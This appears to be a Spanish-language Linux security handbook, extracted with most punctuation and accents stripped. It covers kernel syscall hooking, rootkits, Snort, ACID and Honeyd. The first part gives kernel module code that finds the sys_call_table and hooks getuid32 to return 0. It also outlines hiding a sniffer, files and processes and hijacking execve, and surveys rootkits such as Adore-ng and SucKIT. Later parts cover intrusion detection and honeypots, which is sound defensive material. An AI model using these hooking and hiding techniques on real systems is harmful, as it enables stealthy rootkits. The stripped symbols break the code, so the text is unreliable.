Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
